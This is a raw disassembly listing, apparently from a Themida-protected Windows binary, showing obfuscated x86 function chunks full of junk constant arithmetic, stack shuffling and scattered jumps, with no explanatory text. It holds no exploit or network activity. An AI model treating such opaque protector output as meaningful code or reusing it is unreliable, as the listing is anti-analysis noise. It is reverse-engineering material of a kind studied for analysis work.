CHUNK FOR sub_56CB7D ; --------------------------------------------------------------------------- loc_56E483: ; CODE XREF: Themida_:0055C29Aj push ebp mov ebp, 657D162Fh or ebp, 50A1FAFh shl ebp, 4 not ebp inc ebp xor ebp, 4D2754EDh add edx, ebp pop ebp sub ecx, edx jmp loc_56B03F ; --------------------------------------------------------------------------- pop dword ptr [edx] jmp loc_55B555 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56E4AC: ; CODE XREF: sub_56755A+1524j dec ecx jmp loc_56C884 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56E4B2: ; CODE XREF: Themida_:0056D82Ej pop edi add edi, 4 push 86Ah mov [esp], ebp mov ebp, 6E6576F0h jmp loc_56D335 ; --------------------------------------------------------------------------- loc_56E4CB: ; CODE XREF: Themida_:0055B5A0j pop ebp xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_56A037 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56E4DA: ; CODE XREF: sub_56755A+766Ej add [esp+24h+var_20], 67F67560h jmp loc_566F11 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56E4E7: ; CODE XREF: Themida_:0055D468j add eax, 40891FE3h add eax, ecx push edi mov edi, 40891FE3h sub eax, edi pop edi push dword ptr [esp] mov ecx, [esp] add esp, 4 push eax mov eax, esp add eax, 4 jmp loc_55D98B ; --------------------------------------------------------------------------- loc_56E50D: ; CODE XREF: Themida_:0055E9C1j and edx, 7D1F0FA8h inc edx xor edx, 6A256573h mov eax, edx jmp loc_56AAE8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D600 loc_56E521: ; CODE XREF: sub_56D600+2j not byte ptr [esp-6+arg_0+2] jmp loc_55FACC ; END OF FUNCTION CHUNK FOR sub_56D600 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56E529: ; CODE XREF: sub_56755A-9E4j mov esp, [esp+0] retn ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- jmp loc_55B555 ; --------------------------------------------------------------------------- mov ax, [esp] push ebx push esp jmp loc_55F6BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56E53D: ; CODE XREF: sub_56755A-214Fj mov [esp+0], ebx push esp push [esp+2+var_4+2] mov ebx, [esp+6+var_8+2] add esp, 4 push ecx mov ecx, esp jmp loc_55FD1F ; --------------------------------------------------------------------------- loc_56E555: ; CODE XREF: sub_56755A-9B7Aj push esp pop [esp+16h+var_18+2] jmp loc_56593C ; END OF FUNCTION CHUNK FOR sub_56755A ; =============== S U B R O U T I N E ======================================= sub_56E55E proc near ; CODE XREF: sub_56558C+16j var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0055C027 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0055C17E SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0055DDF5 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0055EF43 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0055F509 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0055FDE2 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005634E2 SIZE 00000043 BYTES ; FUNCTION CHUNK AT 005657A2 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00568BC3 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 0056B129 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0056BE7B SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0056CAD8 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0056CD2B SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0056D54B SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056F942 SIZE 00000016 BYTES push ebx push 1A84h mov [esp+8+var_8], edi jmp loc_56CAD8 sub_56E55E endp ; --------------------------------------------------------------------------- loc_56E56C: ; CODE XREF: Themida_:0055E512j pop edx push esi mov esi, esp jmp loc_561850 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56E575: ; CODE XREF: sub_56755A-7335j and bl, 3Fh push ebx inc byte ptr [esp+16h+var_18+2] jmp loc_5632EE ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56E581: ; CODE XREF: Themida_:0055C983j sub ecx, edi mov edi, [esp] add esp, 4 add ecx, edi add ecx, 34697CA1h mov edi, [esp] push ebx mov ebx, esp jmp loc_567D56 ; --------------------------------------------------------------------------- loc_56E59C: ; CODE XREF: Themida_:00561365j mov esp, [esp] push eax mov eax, esp add eax, 4 push edi jmp loc_56AC1D ; --------------------------------------------------------------------------- loc_56E5AD: ; CODE XREF: Themida_:0055DCF0j add ebx, 0A3E2A83h jmp loc_568B23 ; --------------------------------------------------------------------------- loc_56E5B8: ; CODE XREF: Themida_:00561F34j mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ebp push esi push ecx push 575C631Fh pop ecx push edi push ecx push ebp jmp loc_56AFC3 ; --------------------------------------------------------------------------- loc_56E5DD: ; CODE XREF: Themida_:005623EDj add eax, 7A3551EBh mov ecx, [esp] add esp, 4 inc eax inc eax add eax, 458737EBh jmp loc_5697F5 ; --------------------------------------------------------------------------- loc_56E5F4: ; CODE XREF: Themida_:0055D404j and bl, 0C5h sub bl, 99h mov dh, 0D8h jmp loc_55CABE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56E601: ; CODE XREF: sub_56755A+2E09j push edi mov edi, esp jmp loc_56F895 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55F5D6 loc_56E609: ; CODE XREF: sub_55F5D6-6D3j pop ebx push ecx jmp sub_5673DF ; END OF FUNCTION CHUNK FOR sub_55F5D6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562C5D loc_56E610: ; CODE XREF: sub_562C5D+5881j add al, cl mov ecx, [esp-6+arg_2] add esp, 4 sub bl, 23h add bl, al jmp loc_567C25 ; END OF FUNCTION CHUNK FOR sub_562C5D ; --------------------------------------------------------------------------- loc_56E625: ; CODE XREF: Themida_:0056833Bj push edx mov edx, 49636DE8h add edx, 75541AE2h add edx, 0C09FA28Eh mov esi, edx pop edx jmp loc_5703E0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E89A loc_56E63F: ; CODE XREF: sub_56E89A-DA92j mov esp, [esp+8+var_8] shl eax, cl xor eax, esi jmp loc_569801 ; END OF FUNCTION CHUNK FOR sub_56E89A ; --------------------------------------------------------------------------- loc_56E64B: ; CODE XREF: Themida_:0055CC1Dj pop edi sub esi, 7B562DE7h add esi, edx push ebp mov ebp, 47B22B6Ch neg ebp not ebp sub ebp, 95B66ECh or ebp, 5D756E2Ah shl ebp, 1 jmp loc_56D7AF ; --------------------------------------------------------------------------- loc_56E671: ; CODE XREF: Themida_:0055FF88j xor ebp, 169E582Bh jmp loc_56EA0B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56E67C: ; CODE XREF: sub_56755A+C68j pop eax pop ebx mov ebx, edi pop edi sub ecx, 534D46E0h sub ecx, 47CF4D13h add ecx, ebx add ecx, 47CF4D13h push ebp jmp loc_56955B ; --------------------------------------------------------------------------- loc_56E69B: ; CODE XREF: sub_56755A+396Aj pop esi mov ebp, eax pop eax push ebp add [esp-1Ch+arg_18], 69436D7Ch pop edi sub edi, 69436D7Ch pop ebp jmp loc_567CB0 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56E6B4: ; CODE XREF: Themida_:0056698Aj add al, 98h add al, dl sub al, 98h pop edx jmp loc_56860C ; --------------------------------------------------------------------------- loc_56E6C0: ; CODE XREF: Themida_:0056BDDBj mov ebx, [esp] add esp, 4 mov edx, esi pop esi add [esp+4], edx pop edx add [esp], eax sub esp, 4 mov [esp], ebp jmp loc_56568B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E89A loc_56E6DF: ; CODE XREF: sub_56E89A-E0CCj push dword ptr [esp+0] mov ebx, [esp+4+var_4] push eax jmp loc_55FE3C ; END OF FUNCTION CHUNK FOR sub_56E89A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56E6EB: ; CODE XREF: sub_56755A-7126j mov ebp, 14BA6558h inc ebp shr ebp, 4 inc ebp shl ebp, 1 jmp loc_56AC3E ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562F62 loc_56E6FC: ; CODE XREF: sub_562F62-1B60j pop edi add edi, ebx pop ebx push 6E3Bh jmp loc_55C51C ; END OF FUNCTION CHUNK FOR sub_562F62 ; --------------------------------------------------------------------------- loc_56E70A: ; CODE XREF: Themida_:00568BFEj mov ebp, esp push esi mov esi, 2086556Ch inc esi neg esi jmp loc_55E369 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56E71A: ; CODE XREF: sub_56755A-610Ej mov eax, [esp+1Ch+var_1C] add esp, 4 jmp loc_55C3A0 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56E725: ; CODE XREF: Themida_:0055F6B8j xor edi, 78140AD7h add ebp, 5E331F3Ch add ebp, edi sub ebp, 5E331F3Ch push dword ptr [esp] pop edi jmp loc_569DC4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566894 loc_56E742: ; CODE XREF: sub_566894+14j shr eax, 5 add eax, 0FCF6700h shl eax, 3 jmp sub_56572D ; END OF FUNCTION CHUNK FOR sub_566894 ; --------------------------------------------------------------------------- loc_56E752: ; CODE XREF: Themida_:0055C4ACj pop edx push ecx mov ecx, 45830FA2h jmp loc_56B335 ; =============== S U B R O U T I N E ======================================= sub_56E75E proc near ; CODE XREF: sub_561BE4+C52Fj var_C = dword ptr -0Ch var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0055DCAD SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0055E1D8 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00560916 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00565116 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00567187 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056985C SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056A212 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056B14B SIZE 0000002B BYTES ; FUNCTION CHUNK AT 0056EF94 SIZE 0000000B BYTES sub esp, 4 mov [esp+4+var_4], ebp jmp loc_55DCAD sub_56E75E endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_56E76C: ; CODE XREF: Themida_:00563858j mov eax, ecx pop ecx shl eax, 4 jmp loc_56651A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56E777: ; CODE XREF: sub_56755A-1563j pop edx xchg edi, [esp+18h+var_18] pop esp sub [esp+14h+var_14], eax push 1CBFh mov [esp+18h+var_18], esi push ebx push 570E0557h pop ebx jmp loc_55DBD4 ; --------------------------------------------------------------------------- loc_56E793: ; CODE XREF: sub_56755A-7CC5j not ecx xchg ecx, edi push edx jmp loc_565A67 ; --------------------------------------------------------------------------- loc_56E79D: ; CODE XREF: sub_56755A+1934j add esi, 7CC70D24h jmp loc_56082A ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- mov cx, [esp] push ecx mov ecx, esp jmp loc_565EDD ; --------------------------------------------------------------------------- loc_56E7B4: ; CODE XREF: Themida_:0057027Fj push small 611Bh mov [esp], cx jmp loc_55B555 ; --------------------------------------------------------------------------- loc_56E7C1: ; CODE XREF: Themida_:0056569Ej add al, 7Ch sub al, bh sub al, 7Ch pop bx mov ecx, [esp] push ebp mov ebp, esp jmp loc_55CAB3 ; --------------------------------------------------------------------------- loc_56E7D4: ; CODE XREF: Themida_:0056E895j add ebx, 4 xchg ebx, [esp] pop esp push ebp jmp loc_56D427 ; --------------------------------------------------------------------------- loc_56E7E1: ; CODE XREF: Themida_:0055F2E8j mov ah, 0 add ah, 3Ah push 738Fh mov [esp], edx sub esp, 4 mov [esp], ebx mov bl, 0A7h shr bl, 5 dec bl add bl, 0D5h jmp loc_560CD1 ; --------------------------------------------------------------------------- loc_56E806: ; CODE XREF: Themida_:0056C170j push ecx mov ecx, 0F443101h or eax, ecx jmp loc_565923 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56E813: ; CODE XREF: sub_56755A+6ADAj mov [esp+0Ch+var_C], esi mov esi, esp add esi, 4 jmp loc_5613AF ; --------------------------------------------------------------------------- loc_56E823: ; CODE XREF: sub_56755A-A0BDj and eax, ebx push [esp+14h+var_14] mov ebx, [esp+18h+var_18] jmp loc_56A360 ; --------------------------------------------------------------------------- loc_56E830: ; CODE XREF: sub_56755A-59D3j mov edi, [esp-10h+arg_C] add esp, 4 mov edi, ebp jmp loc_565DFA ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565CEF loc_56E83D: ; CODE XREF: sub_565CEF-186Cj sub edx, ecx jmp loc_561185 ; END OF FUNCTION CHUNK FOR sub_565CEF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56E844: ; CODE XREF: sub_56755A-2B48j push esp jmp loc_567606 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56E84A: ; CODE XREF: Themida_:0056B105j push esp push dword ptr [esp] jmp loc_5695A5 ; --------------------------------------------------------------------------- loc_56E853: ; CODE XREF: Themida_:00566E2Cj xchg ebx, [esp] pop esp jmp loc_56DDF2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56E85C: ; CODE XREF: sub_56755A-128Ej mov edi, [esp-4+arg_0] push ecx jmp loc_55CF82 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F7FC loc_56E865: ; CODE XREF: sub_56F7FC-C411j mov eax, 1CAA5205h mov ebx, 0F27A0A92h jmp loc_568F21 ; END OF FUNCTION CHUNK FOR sub_56F7FC ; --------------------------------------------------------------------------- loc_56E874: ; CODE XREF: Themida_:00560213j mov dh, al pop eax pop ecx push ebx mov bl, 17h jmp loc_56C046 ; --------------------------------------------------------------------------- loc_56E880: ; CODE XREF: Themida_:0055CD2Ej pop esi sub ebp, edi add ebp, 29BA4ACAh mov edi, [esp] push ebx mov ebx, esp add ebx, 4 jmp loc_56E7D4 ; =============== S U B R O U T I N E ======================================= sub_56E89A proc near ; CODE XREF: sub_56F7FC-EB30j var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0055B980 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0055C074 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0055CAC5 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0055CB01 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0055D20A SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0055D587 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0055D6CF SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0055E110 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0055E349 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0055E9C6 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0055EF4A SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0055F3FE SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0055FAFA SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0055FE3C SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0055FE57 SIZE 0000002B BYTES ; FUNCTION CHUNK AT 005607CA SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00560CA4 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00560DFC SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00560E66 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00561930 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00562337 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00562859 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00562B15 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00562D9F SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00562F11 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0056333A SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00563933 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00563F71 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005640A5 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00564917 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00564CD2 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005659E2 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00565C5E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00568E56 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056913F SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00569801 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00569827 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0056A430 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056A676 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056A993 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056ACB9 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056B2D4 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0056B6A7 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056C315 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0056C6AF SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0056C985 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056CFE5 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0056E63F SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056E6DF SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056EF3F SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056F053 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056F28F SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056F86E SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056FD23 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005705E9 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00570613 SIZE 00000014 BYTES push ebx mov ebx, 1 push ecx mov ecx, ebx push 5CFDh mov [esp+0Ch+var_C], ecx push [esp+0Ch+var_C] mov eax, [esp+10h+var_10] jmp loc_5705E9 sub_56E89A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56E8B6: ; CODE XREF: sub_56755A-7008j add esp, 4 push esi mov esi, 234D600Bh sub esi, 234D6007h add edx, esi pop esi jmp sub_561BE4 ; --------------------------------------------------------------------------- loc_56E8D0: ; CODE XREF: sub_56755A+55j pop ecx jmp loc_55F8E7 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56E8D6: ; CODE XREF: Themida_:00569E51j mov ch, al mov bh, ch pop ecx mov ch, bh pop ebx mov eax, [esp] jmp loc_569D0B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56026A loc_56E8E6: ; CODE XREF: sub_56026A+6981j push 6C4Ch mov [esp+0Ch+var_C], edi jmp loc_55FB60 ; END OF FUNCTION CHUNK FOR sub_56026A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56E8F3: ; CODE XREF: sub_56755A+3188j mov ecx, esp push edi jmp loc_56EE56 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- xor [esp], si xor si, [esp] xor [esp], si xor si, bp xor bp, si xor si, bp push ecx mov ecx, esp push esi mov esi, 13E537E1h shr esi, 7 neg esi and esi, 36091A02h add esi, 0C9F7F004h add ecx, esi pop esi jmp loc_5683CE ; --------------------------------------------------------------------------- loc_56E932: ; CODE XREF: Themida_:00561784j mov [esp], ebx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebx add ebx, 4 push edi push eax mov eax, 2D410958h and eax, 608F7A37h xchg eax, esi jmp loc_55B7D4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5636A9 loc_56E95B: ; CODE XREF: sub_5636A9+4D94j pop bx neg ah xor ah, 33h add ah, 5Eh add bl, 0C2h sub bl, ah sub bl, 0C2h jmp loc_56CB35 ; END OF FUNCTION CHUNK FOR sub_5636A9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56E972: ; CODE XREF: sub_56755A-1F7Aj mov esi, 1 add ebx, esi mov esi, [esp+14h+var_14] add esp, 4 neg ebx dec ebx not ebx xor ebx, 65B5B849h add eax, ebx jmp loc_55DD8F ; --------------------------------------------------------------------------- loc_56E994: ; CODE XREF: sub_56755A+68CFj push [esp+12h+var_14+2] mov esi, [esp+16h+var_18+2] add esp, 4 jmp loc_569FCE ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56E9A2: ; CODE XREF: Themida_:00560CEFj mov [esp], ebx mov ebx, 25EC35DDh push ebp mov ebp, 773A047Ch xor ebx, ebp pop ebp jmp loc_55C2CA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56E9B8: ; CODE XREF: sub_56755A-BA26j mov esi, [esp+10h+var_10] add esp, 4 mov edx, [esp+0Ch+var_C] jmp loc_55DC70 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56E9C9: ; CODE XREF: Themida_:00562258j push edi jmp loc_57007C ; --------------------------------------------------------------------------- loc_56E9CF: ; CODE XREF: Themida_:0056BF08j xor ebx, [esp] pop esp push 7FEBh jmp loc_55E15A ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_55E31C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AC81 loc_56E9E5: ; CODE XREF: sub_56AC81-8FDFj push ecx jmp loc_5640C5 ; END OF FUNCTION CHUNK FOR sub_56AC81 ; --------------------------------------------------------------------------- loc_56E9EB: ; CODE XREF: Themida_:0056C223j add ebx, 4 xchg ebx, [esp] pop esp xor esi, [esp] xor [esp], esi jmp loc_565E46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CEE9 loc_56EA00: ; CODE XREF: sub_56CEE9-109ECj pop esi push ebp mov ebp, edx mov esi, ebp jmp loc_567D31 ; END OF FUNCTION CHUNK FOR sub_56CEE9 ; --------------------------------------------------------------------------- loc_56EA0B: ; CODE XREF: Themida_:0056E677j sub edi, 2B3E4C72h add edi, ebp jmp loc_5606F2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56EA18: ; CODE XREF: sub_56755A-976Aj sub esi, 25E23890h jmp loc_56504B ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56EA23: ; CODE XREF: Themida_:0055D931j pop eax xchg edi, [esp] pop esp sub edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp mov [esp], edx mov edx, esp add edx, 4 add edx, 4 push edx push dword ptr [esp+4] jmp loc_56B59F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C86A loc_56EA4D: ; CODE XREF: sub_56C86A-AF91j push esp pop ebx jmp sub_568D4B ; END OF FUNCTION CHUNK FOR sub_56C86A ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_56395F ; --------------------------------------------------------------------------- loc_56EA5C: ; CODE XREF: Themida_:0055C9CEj xor ebx, [esp] xor [esp], ebx jmp loc_5646D8 ; --------------------------------------------------------------------------- loc_56EA67: ; CODE XREF: Themida_:005643A5j push esi push esp pop esi jmp loc_56B97D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55CD7B loc_56EA6F: ; CODE XREF: sub_55CD7B+E451j mov edx, 391A2084h neg edx sub edx, 3C345F57h and edx, 346161B9h add edx, 73D26C46h add edx, 8C0C939Dh mov esi, edx pop edx jmp loc_567E73 ; END OF FUNCTION CHUNK FOR sub_55CD7B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561ED8 loc_56EA96: ; CODE XREF: sub_561ED8+CDACj mov al, 0ADh or dh, al pop ax dec dh sub esp, 4 jmp loc_55BD92 ; END OF FUNCTION CHUNK FOR sub_561ED8 ; =============== S U B R O U T I N E ======================================= sub_56EAA9 proc near ; CODE XREF: sub_56755A-A01Aj var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0055B85E SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0055B925 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0055BD76 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0055C7A6 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056750C SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00568CF0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0056D3DE SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0056EAFD SIZE 0000000C BYTES push ebx mov ebx, 110A63AAh inc ebx jmp loc_56D3DE sub_56EAA9 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_56EAB5: ; CODE XREF: Themida_:0056B998j mov esi, 60B92E22h push edi mov edi, esi push esi jmp loc_560AE5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56EAC3: ; CODE XREF: sub_56755A-4551j push ecx jmp loc_5650E4 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56EAC9: ; CODE XREF: Themida_:0056163Bj mov edx, 73AC023Bh jmp loc_56CE61 ; --------------------------------------------------------------------------- loc_56EAD3: ; CODE XREF: Themida_:00564FDFj sub al, cl pop cx add al, bl push ecx mov ch, 41h add al, ch jmp loc_563084 ; --------------------------------------------------------------------------- loc_56EAE3: ; CODE XREF: Themida_:005623AEj add ecx, edx jmp loc_562374 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5615A9 loc_56EAEA: ; CODE XREF: sub_5615A9+C977j pop ebx push 55CFh mov [esp+0], ebx push 5E38h jmp loc_56D480 ; END OF FUNCTION CHUNK FOR sub_5615A9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56EAA9 loc_56EAFD: ; CODE XREF: sub_56EAA9-122F7j xchg ebp, [esp+0] pop esp mov edx, [esp-4+arg_0] jmp loc_56750C ; END OF FUNCTION CHUNK FOR sub_56EAA9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56EB09: ; CODE XREF: sub_56755A+4517j pop eax sub esp, 4 mov [esp+0Ch+var_C], edx push 40B4h mov [esp+10h+var_10], esp jmp loc_56254F ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56EB20: ; CODE XREF: Themida_:0056057Cj mov eax, 7BA33404h mov edx, eax jmp loc_56D0E3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562C5D loc_56EB2C: ; CODE XREF: sub_562C5D+385Fj push edx mov dl, 8Bh or dl, 0B3h dec dl or dl, 30h add dl, 2Dh xor dl, 69h jmp loc_560019 ; END OF FUNCTION CHUNK FOR sub_562C5D ; --------------------------------------------------------------------------- loc_56EB42: ; CODE XREF: Themida_:0056468Ej add ebx, eax add ebx, 168E6053h push dword ptr [esp] mov eax, [esp] add esp, 4 push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_560A9C ; --------------------------------------------------------------------------- loc_56EB67: ; CODE XREF: Themida_:00570366j mov ecx, edx mov edx, [esp] jmp loc_56F313 ; --------------------------------------------------------------------------- loc_56EB71: ; CODE XREF: Themida_:0055F164j add ebx, 4 xchg ebx, [esp] pop esp xor eax, edx jmp loc_56B570 ; --------------------------------------------------------------------------- loc_56EB82: ; CODE XREF: Themida_:0055EF95j push edi mov edi, 4 add edx, edi pop edi push 3F59h jmp loc_570125 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56EB95: ; CODE XREF: sub_56755A-A40Ej add esp, 4 jmp sub_5649FE ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563973 loc_56EB9D: ; CODE XREF: sub_563973+316Fj mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp+0] pop esp mov [esp+0], ebx mov ebx, 43C90F00h jmp loc_5618DE ; END OF FUNCTION CHUNK FOR sub_563973 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56EBBC: ; CODE XREF: sub_56755A+2A77j sub [esp+6+var_4+2], 67F67560h add [esp+6+var_4+2], edx jmp loc_56E4DA ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- 